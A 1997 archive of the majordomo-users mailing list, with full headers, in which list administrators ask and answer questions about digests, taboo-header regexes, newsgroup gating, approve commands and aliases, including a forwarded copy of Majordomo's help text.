(8.8.5/Honor-Lists-970308-1) id PAA27045 for majordomo-users-outgoing; Sun, 8 Jun 1997 15:14:41 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA27038 for ; Sun, 8 Jun 1997 15:14:36 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id RAA02445; Sun, 8 Jun 1997 17:15:24 -0500 (CDT) To: majordomo-users@GreatCircle.COM Subject: Re: Digests, I need some help References: <199706082128.QAA14962@red.hex.net> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 08 Jun 1997 17:15:23 -0500 In-Reply-To: sdenny@hex.net's message of Sun, 8 Jun 1997 16:28:24 -0500 Message-ID: Lines: 9 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "SD" == Stephen Denny writes: SD> Looking at it now, I find that the quick-digest-setup should have been SD> enough. I'm sure its served millions of satisfied customers, but for SD> my first digest, I was in the weeds. What in there would you change or clarify? - J< From owner-majordomo-users-outgoing Sun Jun 8 15:40:19 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA28267 for majordomo-users-outgoing; Sun, 8 Jun 1997 15:36:01 -0700 (PDT) Received: from wolfenet.com (news1.wolfe.net [204.157.98.9]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA28258 for ; Sun, 8 Jun 1997 15:35:57 -0700 (PDT) Received: from gonzo.wolfenet.com (glmoore@gonzo.wolfenet.com [204.157.98.2]) by wolfenet.com (8.8.5/8.8.5) with ESMTP id PAA06592; Sun, 8 Jun 1997 15:37:48 -0700 (PDT) Received: from localhost (glmoore@localhost) by gonzo.wolfenet.com (8.8.3/8.7) with SMTP id PAA20018; Sun, 8 Jun 1997 15:36:33 -0700 (PDT) X-Authentication-Warning: gonzo.wolfenet.com: glmoore owned process doing -bs Date: Sun, 8 Jun 1997 15:36:33 -0700 (PDT) From: Gary Moore To: sdenny@hex.net, majordomo-users@greatcircle.com Subject: set of digest aliases Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Steven, Great to hear you found a set of working aliases to set up digests (and archives?) for a list. Would it be possible for you to post that to the list, or at least email me a copy?? Thanks, Gary From owner-majordomo-users-outgoing Sun Jun 8 18:06:27 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA07943 for majordomo-users-outgoing; Sun, 8 Jun 1997 17:53:13 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id RAA07932 for majordomo-users@greatcircle.com; Sun, 8 Jun 1997 17:53:11 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA16937 for ; Fri, 6 Jun 1997 07:38:30 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id JAA08184; Fri, 6 Jun 1997 09:42:46 -0500 (CDT) To: majordomo-users@GreatCircle.COM Subject: Re: taboo stuff References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 06 Jun 1997 09:42:45 -0500 In-Reply-To: Rich Pieri's message of 06 Jun 1997 09:50:36 -0400 Message-ID: Lines: 14 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "RP" == Rich Pieri writes: JLT> /from:.*idiot\@dork\.com/i RP> ^^ None of the examples in majordomo.cf escape the RP> '@' character: Well, OK, but majordomo.cf is pure perl code, not one of majordomo's config-file things. You can't be sure that syntax rules are the same between them; heck, I don't know if the backwhack matters. It's always safe to backwhack a non-alphanumeric in a Perl RE. I do it by habit. What you didn't way was whether or not that worked for you. - J< From owner-majordomo-users-outgoing Sun Jun 8 18:12:21 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA07511 for majordomo-users-outgoing; Sun, 8 Jun 1997 17:49:45 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id RAA07475 for majordomo-users@greatcircle.com; Sun, 8 Jun 1997 17:49:37 -0700 (PDT) Received: from pp (pp.ksc.nasa.gov [128.159.174.102]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id RAA25731 for ; Thu, 5 Jun 1997 17:08:58 -0700 (PDT) Received: from kscgws00.ksc.nasa.gov by pp with SMTP (PP); Thu, 5 Jun 1997 20:16:01 -0400 Received: by kscgws00.ksc.nasa.gov with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.995.52) id <01BC71ED.22E19C10@kscgws00.ksc.nasa.gov>; Thu, 5 Jun 1997 20:14:56 -0400 Message-ID: From: "Ferrell-1, Ema" To: "'majordomo-users@greatcircle.com'" Cc: "'rsalz@osf.org'" , "'rsalz@uunet.uu.net'" Subject: mailing to a newsgroup Date: Thu, 5 Jun 1997 20:14:49 -0400 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.995.52 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk HELP!!! I'm trying to set up a mailing list such that it forwards the mail to the list as well as to a corresponding newsgroup. I did a subscribe listname newsgroup_name@host. This worked. majordomo added the newsgroup_name to the list, however, newsgroup_name is not in the right format. Here's the command I issued: subscribe clcs_support_nets news:CLCS_Support_Net The command worked: >>>> subscribe clcs_support_nets news:CLCS_Support_Net Succeeded. However, the message was not delivered to the newsgroup (CLCS_Support_Net): ----- The following addresses had permanent fatal errors ----- news:CLCS_Support_Net ----- Transcript of session follows ----- 550 news:CLCS_Support_Net... User unknown Has anyone tryed doing something like this before. I know there's an FAQ (# 4.4 How do I gate my list to and/or from a newsgroup?) I've downloaded it but haven't installed it yet, because it suggests (in the README, 3rd paragraph) that if I'm running a small site to not bother with this program (mail2news), instead to convert directly to News .... This is where the problem comes .. how do you do that? Any ideas, hints would be helpful. TIA, Ema Ferrell Checkout & Launch Control System Hardware Design Division Support Networks/DE-CLC-A 407-861-xxxx(Phone #) 407-455-5722(Beeper #) 407-861-7470 (Fax #) email: eman.ferrell-1@ksc.nasa.gov From owner-majordomo-users-outgoing Sun Jun 8 18:14:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA08236 for majordomo-users-outgoing; Sun, 8 Jun 1997 17:56:18 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id RAA08226 for majordomo-users@greatcircle.com; Sun, 8 Jun 1997 17:56:16 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA28751 for ; Sun, 8 Jun 1997 08:33:55 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id KAA25437; Sun, 8 Jun 1997 10:34:36 -0500 (CDT) To: "David E. Le Vine" Cc: majordomo-users@GreatCircle.COM (Majordomo user's mailing list) Subject: Re: Who info for just moderator? References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 08 Jun 1997 10:34:35 -0500 In-Reply-To: "David E. Le Vine"'s message of Sun, 8 Jun 1997 09:20:21 -0400 Message-ID: Lines: 8 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "DELV" == David E Le Vine writes: DELV> Is there a way to OK a who request when who function is set to DELV> closed? approve password who list - J< From owner-majordomo-users-outgoing Sun Jun 8 18:18:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA07469 for majordomo-users-outgoing; Sun, 8 Jun 1997 17:49:35 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id RAA07459 for majordomo-users@greatcircle.com; Sun, 8 Jun 1997 17:49:32 -0700 (PDT) Received: from greatdane.webnexus.com (greatdane.webnexus.com [165.227.96.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA23456 for ; Thu, 5 Jun 1997 16:54:55 -0700 (PDT) Received: from dalmatian.webnexus.com (dalmatian.webnexus.com [165.227.96.4]) by greatdane.webnexus.com (8.8.5/8.8.5/WN-1.2) with ESMTP id QAA23199; Thu, 5 Jun 1997 16:58:55 -0700 (PDT) Received: (from kovar@localhost) by dalmatian.webnexus.com (8.8.5/8.8.5/WN-1.2) id QAA08273; Thu, 5 Jun 1997 16:58:53 -0700 (PDT) From: David Kovar Message-Id: <199706052358.QAA08273@dalmatian.webnexus.com> Subject: Re: FW: Majordomo results: RE: APPROVE clcs_support_nets To: Eman.Ferrell-1@pp.ksc.nasa.gov (Ferrell-1 Ema) Date: Thu, 5 Jun 1997 16:58:53 -0700 (PDT) Cc: majordomo-users@GreatCircle.COM, Glenn.Seaton-1@pp.ksc.nasa.gov In-Reply-To: from "Ferrell-1, Ema" at Jun 2, 97 10:43:07 pm X-Mailer: ELM [version 2.4 PL24 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Try: approve clcsadmin unsubscribe clcs_support_nets eferrell@kte0007.ksc.nasa.gov all on one line. That error message may be misleading. -David > > I'm trying to unsubscribe a user (happens to be myself) from a list > called clcs_support_nets, and I get the following message below. > clcsadmin is the password that I use in the clcs_support_nets.config > file. Can some one help? > > Ema Ferrell > Checkout & Launch Control System > Hardware Design Division > Support Networks/DE-CLC-A > 407-861-xxxx(phone #) > 407-861-7470 (fax #) > > >---------- > >From: Majordomo@kte0007.ksc.nasa.gov[SMTP:Majordomo@kte0007.ksc.nasa.gov] > >Sent: Monday, June 02, 1997 10:17 PM > >To: Eman.Ferrell-1@kmail.ksc.nasa.gov > >Subject: Majordomo results: RE: APPROVE clcs_support_nets > > > >-- > > > >>>>> approve clcsadmin unsubscribe clcs_support_nets > >**** approve: invalid list or password. > >>>>> eferrell@kte0007.ksc.nasa.gov > >**** Command 'eferrell@kte0007.ksc.nasa.gov' not recognized. > >>>>> end > >END OF COMMANDS > >**** Help for Majordomo@kte0007.ksc.nasa.gov: > > > > > >This help message is being sent to you from the Majordomo mailing list > >management system at Majordomo@kte0007.ksc.nasa.gov. > > > >This is version 1.94.3 of Majordomo. > > > >If you're familiar with mail servers, an advanced user's summary of > >Majordomo's commands appears at the end of this message. > > > >Majordomo is an automated system which allows users to subscribe > >and unsubscribe to mailing lists, and to retrieve files from list > >archives. > > > >You can interact with the Majordomo software by sending it commands > >in the body of mail messages addressed to "Majordomo@kte0007.ksc.nasa.gov". > >Please do not put your commands on the subject line; Majordomo does > >not process commands in the subject line. > > > >You may put multiple Majordomo commands in the same mail message. > >Put each command on a line by itself. > > > >If you use a "signature block" at the end of your mail, Majordomo may > >mistakenly believe each line of your message is a command; you will > >then receive spurious error messages. To keep this from happening, > >either put a line starting with a hyphen ("-") before your signature, > >or put a line with just the word > > > > end > > > >on it in the same place. This will stop the Majordomo software from > >processing your signature as bad commands. > > > >Here are some of the things you can do using Majordomo: > > > >I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM > > > >To get a list of publicly-available mailing lists on this system, put the > >following line in the body of your mail message to > >Majordomo@kte0007.ksc.nasa.gov: > > > > lists > > > >Each line will contain the name of a mailing list and a brief description > >of the list. > > > >To get more information about a particular list, use the "info" command, > >supplying the name of the list. For example, if the name of the list > >about which you wish information is "demo-list", you would put the line > > > > info demo-list > > > >in the body of the mail message. > > > >II. SUBSCRIBING TO A LIST > > > >Once you've determined that you wish to subscribe to one or more lists on > >this system, you can send commands to Majordomo to have it add you to the > >list, so you can begin receiving mailings. > > > >To receive list mail at the address from which you're sending your mail, > >simply say "subscribe" followed by the list's name: > > > > subscribe demo-list > > > >If for some reason you wish to have the mailings go to a different address > >(a friend's address, a specific other system on which you have an account, > >or an address which is more correct than the one that automatically appears > >in the "From:" header on the mail you send), you would add that address to > >the command. For instance, if you're sending a request from your work > >account, but wish to receive "demo-list" mail at your personal account > >(for which we will use "jqpublic@my-isp.com" as an example), you'd put > >the line > > > > subscribe demo-list jqpublic@my-isp.com > > > >in the mail message body. > > > >Based on configuration decisions made by the list owners, you may be added > >to the mailing list automatically. You may also receive notification > >that an authorization key is required for subscription. Another message > >will be sent to the address to be subscribed (which may or may not be the > >same as yours) containing the key, and directing the user to send a > >command found in that message back to Majordomo@kte0007.ksc.nasa.gov. (This > >can be > >a bit of extra hassle, but it helps keep you from being swamped in extra > >email by someone who forged requests from your address.) You may also > >get a message that your subscription is being forwarded to the list owner > >for approval; some lists have waiting lists, or policies about who may > >subscribe. If your request is forwarded for approval, the list owner > >should contact you soon after your request. > > > >Upon subscribing, you should receive an introductory message, containing > >list policies and features. Save this message for future reference; it > >will also contain exact directions for unsubscribing. If you lose the > >intro mail and would like another copy of the policies, send this message > >to Majordomo@kte0007.ksc.nasa.gov: > > > > intro demo-list > > > >(substituting, of course, the real name of your list for "demo-list"). > > > >III. UNSUBSCRIBING FROM MAILING LISTS > > > >Your original intro message contains the exact command which should be > >used to remove your address from the list. However, in most cases, you > >may simply send the command "unsubscribe" followed by the list name: > > > > unsubscribe demo-list > > > >(This command may fail if your provider has changed the way your > >address is shown in your mail.) > > > >To remove an address other than the one from which you're sending > >the request, give that address in the command: > > > > unsubscribe demo-list jqpublic@my-isp.com > > > >In either of these cases, you can tell Majordomo@kte0007.ksc.nasa.gov to > >remove > >the address in question from all lists on this server by using "*" > >in place of the list name: > > > > unsubscribe * > > unsubscribe * jqpublic@my-isp.com > > > >IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED > > > >To find the lists to which your address is subscribed, send this command > >in the body of a mail message to Majordomo@kte0007.ksc.nasa.gov: > > > > which > > > >You can look for other addresses, or parts of an address, by specifying > >the text for which Majordomo should search. For instance, to find which > >users at my-isp.com are subscribed to which lists, you might send the > >command > > > > which my-isp.com > > > >Note that many list owners completely or fully disable the "which" > >command, considering it a privacy violation. > > > >V. FINDING OUT WHO'S SUBSCRIBED TO A LIST > > > >To get a list of the addresses on a particular list, you may use the > >"who" command, followed by the name of the list: > > > > who demo-list > > > >Note that many list owners allow only a list's subscribers to use the > >"who" command, or disable it completely, believing it to be a privacy > >violation. > > > >VI. RETRIEVING FILES FROM A LIST'S ARCHIVES > > > >Many list owners keep archives of files associated with a list. These > >may include: > >- back issues of the list > >- help files, user profiles, and other documents associated with the list > >- daily, monthly, or yearly archives for the list > > > >To find out if a list has any files associated with it, use the "index" > >command: > > > > index demo-list > > > >If you see files in which you're interested, you may retrieve them by > >using the "get" command and specifying the list name and archive filename. > >For instance, to retrieve the files called "profile.form" (presumably a > >form to fill out with your profile) and "demo-list.9611" (presumably the > >messages posted to the list in November 1996), you would put the lines > > > > get demo-list profile.form > > get demo-list demo-list.9611 > > > >in your mail to Majordomo@kte0007.ksc.nasa.gov. > > > >VII. GETTING MORE HELP > > > >To contact a human site manager, send mail to > >Majordomo-Owner@kte0007.ksc.nasa.gov. > >To contact the owner of a specific list, send mail to that list's > >approval address, which is formed by adding "-approval" to the user-name > >portion of the list's address. For instance, to contact the list owner > >for demo-list@kte0007.ksc.nasa.gov, you would send mail to > >demo-list-approval@kte0007.ksc.nasa.gov. > > > >To get another copy of this help message, send mail to > >Majordomo@kte0007.ksc.nasa.gov > >with a line saying > > > > help > > > >in the message body. > > > >VIII. COMMAND SUMMARY FOR ADVANCED USERS > > > >In the description below items contained in []'s are optional. When > >providing the item, do not include the []'s around it. Items in angle > >brackets, such as
      , are meta-symbols that should be replaced > >by appropriate text without the angle brackets. > > > >It understands the following commands: > > > > subscribe [
      ] > > Subscribe yourself (or
      if specified) to the named . > > > > unsubscribe [
      ] > > Unsubscribe yourself (or
      if specified) from the named . > > "unsubscribe *" will remove you (or
      ) from all lists. This > > _may not_ work if you have subscribed using multiple addresses. > > > > get > > Get a file related to . > > > > index > > Return an index of files you can "get" for . > > > > which [
      ] > > Find out which lists you (or
      if specified) are on. > > > > who > > Find out who is on the named . > > > > info > > Retrieve the general introductory information for the named . > > > > intro > > Retrieve the introductory message sent to new users. Non-subscribers > > may not be able to retrieve this. > > > > lists > > Show the lists served by this Majordomo server. > > > > help > > Retrieve this message. > > > > end > > Stop processing commands (useful if your mailer adds a signature). > > > >Commands should be sent in the body of an email message to > >"Majordomo@kte0007.ksc.nasa.gov". Multiple commands can be processed provided > >each occurs on a separate line. > > > >Commands in the "Subject:" line are NOT processed. > > > >If you have any questions or problems, please contact > >"Majordomo-Owner@kte0007.ksc.nasa.gov". > > > > > From owner-majordomo-users-outgoing Sun Jun 8 22:25:29 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA04715 for majordomo-users-outgoing; Sun, 8 Jun 1997 22:16:35 -0700 (PDT) Received: from panix4.panix.com (panix4.panix.com [198.7.0.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id WAA04696 for ; Sun, 8 Jun 1997 22:16:26 -0700 (PDT) Received: (from askanas@localhost) by panix4.panix.com (8.8.5/8.7/PanixU1.3) id BAA15274; Mon, 9 Jun 1997 01:16:51 -0400 (EDT) From: malgosia askanas Message-Id: <199706090516.BAA15274@panix4.panix.com> Subject: Re: digest To: kynn@idyllmtn.com (Kynn Bartlett) Date: Mon, 9 Jun 1997 01:16:50 -0400 (EDT) Cc: sdenny@hex.net, majordomo-users@GreatCircle.COM In-Reply-To: <199706081628.JAA02809@ayla.idyllmtn.com> from "Kynn Bartlett" at Jun 8, 97 09:28:44 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > > A great enhancement to majordomo (for someone with too much time > > on their hands) would be a nice script that would guide you through > > a list setup, providing help along the way, create the conf!g file, > > digests, directories, aliases and end up with a completed list. Also > > auto mailing the directions to the list owner. I have such a (Unix shell) script, but the thing is: it is very particular to the environment in runs in, which is atypical (for example, the script consists of several different parts that get executed on different machines). I am planning on porting it (in highly modified form) to a more standard environment elsewhere, and then I'll be happy to post it here for everyone's use and enjoyment. -malgosia From owner-majordomo-users-outgoing Mon Jun 9 01:25:40 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id BAA29291 for majordomo-users-outgoing; Mon, 9 Jun 1997 01:13:47 -0700 (PDT) Received: from cam053212.student.utwente.nl (cam053212.student.utwente.nl [130.89.226.142]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id BAA29284 for ; Mon, 9 Jun 1997 01:13:41 -0700 (PDT) Received: by oloon.student.utwente.nl id <51131-10961>; Mon, 9 Jun 1997 10:14:00 +0200 Date: Mon, 9 Jun 1997 10:13:48 +0159 (CEST) From: Remco van de Meent X-Sender: remco@cam053212.student.utwente.nl To: Jorge Macias cc: Majordomo-Users@GreatCircle.COM Subject: Re: Majordom and Netscape Mail Server In-Reply-To: <33985368.3308@amorfhia.com.mx> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Fri, 6 Jun 1997, Jorge Macias wrote: : how to define the :include:... alias??? : is it that majordomo and netscape mail server just hate each other or am We (at a local ISP) had to deal with this problem too.. we solved it by changing the outgoing.pl scripts. You have to edit it that way, it scans the file, and calls the /usr/ns-home/blahblah/sendmail program for every recipiens (or multiple recipients at once).. You also need to copy/edit the headers in the outgoing.pl scripts. It isn't too difficult, but it might take some time :) Remco. PS Try to go to the Netscape Newsservers; Sometimes scripts like these are posted to it. -- // Remco van de Meent // email: remco@oloon.student.utwente.nl // www: http://oloon.student.utwente.nl // " Never make any mistaeks. " From owner-majordomo-users-outgoing Mon Jun 9 02:40:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id CAA05801 for majordomo-users-outgoing; Mon, 9 Jun 1997 02:31:59 -0700 (PDT) Received: from firewall.edvg.co.at (firewall.edvg.co.at [192.164.36.131]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id CAA05776 for ; Mon, 9 Jun 1997 02:31:43 -0700 (PDT) Message-Id: <9706091704.AA2307@lngate.notes.edvg.co.at> To: majordomo-users@GreatCircle.COM (majordomo-users) From: Niels_Hansa@edvg.co.at (Niels Hansa) Date: 9 Jun 97 10:01:38 EDT Subject: Q: Approval to moderated list??? Mime-Version: 1.0 Content-Type: Text/Plain Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi! In case this is a very stupid question, I appologize right from the beginning ;-) I have to set up a closed, moderated list. It is called moderated1. I can successfully approve subscription-requests, using the list- adminstration password (default: moderated.admin). But I cannot approve mails sent to the list. They always bounce back for further approval. *grmpf* I know that "approve: " is supposed to be in the _first_ line of the mail. Be assured, this is the _first_ line in PINE. I was told SMTP alway separates headers and body with a blank line.... So how the heck am I supposed to approve then? Is there a setting in majordomo.cf to tell him to look somewhere else in order to fix this problem?? I am sure it is a RTFM question. I would love to read the f***'in manual, but for some reason the admins didnt install it. Is there a good location of Majordomo docs in the Web?? I am sure there is.. Below, I send a copy a bounced mail, to show its behavior. If U need anything else to help, just let me know and I will send the Info (personally to, so I dont flood the list with RTFM stuff ;-)) ) thx, Niels A. Hansa InternetServices EDVg-debis Systemhaus, Austria -------------------------- Bouncing Mail ;-))----------------------------------- Date: Thu, 5 Jun 1997 17:31:37 +0200 From: owner-moderated1@listserv.online.edvg.co.at To: owner-moderated1@listserv.online.edvg.co.at Subject: BOUNCE moderated1@listserv.edvg.co.at: Approval required: Admin request of type /^\s*approve\b/i at line 1 >From moderated-owner@listserv.online.edvg.co.at Thu Jun 5 17:31:36 1997 Received: from localhost (listadm@localhost) by listserv.online.edvg.co.at (8.8.5/8.8.5) with SMTP id RAA21444 for ; Thu, 5 Jun 1997 17:31:36 +0200 Date: Thu, 5 Jun 1997 17:31:36 +0200 (MET DST) From: Major Domo Admin To: moderated1@listserv.online.edvg.co.at Subject: BOUNCE moderated1@listserv.edvg.co.at: Approval required: Admin request of type /^\s*approve\b/i at line 1 (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII approve: moderated1.pass ---------- Forwarded message ---------- Date: Thu, 5 Jun 1997 17:28:18 +0200 From: owner-moderated1@listserv.online.edvg.co.at To: owner-moderated1@listserv.online.edvg.co.at Subject: BOUNCE moderated1@listserv.edvg.co.at: Approval required: Admin request of type /^\s*approve\b/i at line 1 >From moderated-owner@listserv.online.edvg.co.at Thu Jun 5 17:28:17 1997 Received: from localhost (listadm@localhost) by listserv.online.edvg.co.at (8.8.5/8.8.5) with SMTP id RAA21272 for ; Thu, 5 Jun 1997 17:28:17 +0200 From owner-majordomo-users-outgoing Mon Jun 9 02:55:23 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id CAA07115 for majordomo-users-outgoing; Mon, 9 Jun 1997 02:47:52 -0700 (PDT) Received: from stingray.ivision.co.uk (stingray.ivision.co.uk [194.154.62.72]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id CAA07108 for ; Mon, 9 Jun 1997 02:47:45 -0700 (PDT) Received: from stingray.ivision.co.uk [194.154.62.72] by stingray.ivision.co.uk with smtp (Exim 1.62 #1) id 0wb13J-0001uX-00; Mon, 9 Jun 1997 10:47:53 +0100 Date: Mon, 9 Jun 1997 10:47:53 +0100 (BST) From: Manar Hussain To: Rich Pieri cc: majordomo-users@greatcircle.com Subject: Re: reply-to's In-Reply-To: Message-ID: Organisation: Internet Vision MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >MH> What I'm interested in is a possible way of overcoming one of the >MH> disadvantages or not setting the reply-tos - namely that in a large >MH> number of email clients it is then easy to reply to just the author or >MH> the author + the list. > >Replace the MUAs (email clients) with ones that are not so stupid. >Unfortunately (or fortunately, depending on your perspective :) that is >really the only sane thing that can be done. Controlling where a reply >goes is solely the responsibility of the MUA and the originator of the >reply. and as you and I both know this is the whole problem - we don't have this control and too many people use shot software ... so back in the real world ... From owner-majordomo-users-outgoing Mon Jun 9 04:10:20 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id EAA14431 for majordomo-users-outgoing; Mon, 9 Jun 1997 04:07:34 -0700 (PDT) Received: from stingray.ivision.co.uk (stingray.ivision.co.uk [194.154.62.72]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id EAA14422 for ; Mon, 9 Jun 1997 04:07:26 -0700 (PDT) Received: from stingray.ivision.co.uk [194.154.62.72] by stingray.ivision.co.uk with smtp (Exim 1.62 #1) id 0wb2IL-0002CS-00; Mon, 9 Jun 1997 12:07:29 +0100 Date: Mon, 9 Jun 1997 12:07:29 +0100 (BST) From: Manar Hussain Reply-To: Manar Hussain To: Jason L Tibbitts III cc: majordomo-users@GreatCircle.COM, Malcolm Hutty , Mike Chamberlain Subject: Re: reply-to's In-Reply-To: Message-ID: Organisation: Internet Vision MIME-Version: 1.01.0 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >MH> We'd have an additional interest in this as we have a fully functioning >MH> web version of all our lists [...] > >Free code? Demo URL? Willing to contribute? I've been holding off on saying anything about it for a bit as we're not yet there on a number of things. (the base code is pretty well refined now after a complete re-write but the polish isn't fully there - e.g. no link to the months/author views that are supported, no link to the non-frames version, no re-integration of the search engine since the re-write, link to non-html'd version of mails is missing, UI still a bit ropey in places ... ...). Still it's getting a lot closer and has been designed to easily let people change look and feel etc. I guess the good things is we're contractually committed to doing all these soon :-> Free Code: I certainly expect we'll make the code publically available but we need to think through a bit on what basis it can be used - we're spending a fair bit of time on this and are charging for chunks of it. I.E. I'm very keen to see the code available and see it useable without charge in a good proportion of cases but there is likely to be some sort of definition of commercial use whereby we'd want to charge for at least some parts of it. Demo URL: http://www.democracy.org.uk/groups/open/public/set-index.htm I guess but this version is not the latest (e.g. I don't think it has caching) Willing to contribute: Yes - but we'd need to sort out the final stages of what we have now a bit more I suspect. Most of the stuff is now under CVS and I guess we'd make it available for sup'ing at some point (not really looked into those aspects of CVS yet). The good news on this bit is that we are expecting to continue to invest in improving the aspects of a "majordomo + web" environment. Manar From owner-majordomo-users-outgoing Mon Jun 9 06:25:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA22468 for majordomo-users-outgoing; Mon, 9 Jun 1997 06:16:02 -0700 (PDT) Received: from terrania.westfalen.de (terrania.westfalen.de [195.52.199.238]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id GAA22451 for ; Mon, 9 Jun 1997 06:15:55 -0700 (PDT) Received: from localhost by terrania.westfalen.de via sendmail with smtp id for ; Mon, 9 Jun 1997 15:16:18 +0200 (CEST) (Smail-3.2 1996-Jul-4 #1 built 1996-Nov-18) Date: Mon, 9 Jun 1997 15:16:18 +0200 (CEST) From: Daniel Schneider To: majordomo-users@greatcircle.com Subject: Q: Can someone mail me /etc/aliases? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, I still have the problem with the "include" line. So can someone mail me his /etc/aliases, using Smail and Linux? Daniel Schneider http://www.westfalen.de/terrania/ http://www.westfalen.de/terrania/english.html (English) From owner-majordomo-users-outgoing Mon Jun 9 06:35:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA23765 for majordomo-users-outgoing; Mon, 9 Jun 1997 06:23:10 -0700 (PDT) Received: from spsem02.sps.mot.com (spsem02.sps.mot.com [192.70.231.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id GAA23742 for ; Mon, 9 Jun 1997 06:23:02 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA22585 for majordomo-users@greatcircle.com; Mon, 9 Jun 97 06:23:45 MST Received: from risc.risc.sps.mot.com (risc.sps.mot.com) by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA15730 for majordomo-users@greatcircle.com; Mon, 9 Jun 97 06:23:43 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by risc.risc.sps.mot.com (8.7.1/8.7.1) with ESMTP id IAA18531; Mon, 9 Jun 1997 08:23:43 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id IAA17828; Mon, 9 Jun 1997 08:23:41 -0500 From: Dave Wolfe Message-Id: <199706091323.IAA17828@miaow.risc.sps.mot.com> Subject: Re: taboo stuff To: rich.pieri@prescienttech.com (Rich Pieri) Date: Mon, 9 Jun 1997 08:23:41 -0500 (CDT) Cc: majordomo-users@greatcircle.com In-Reply-To: from "Rich Pieri" at Jun 6, 97 04:38:42 pm Reply-To: Dave Wolfe X-Mailer: ELM 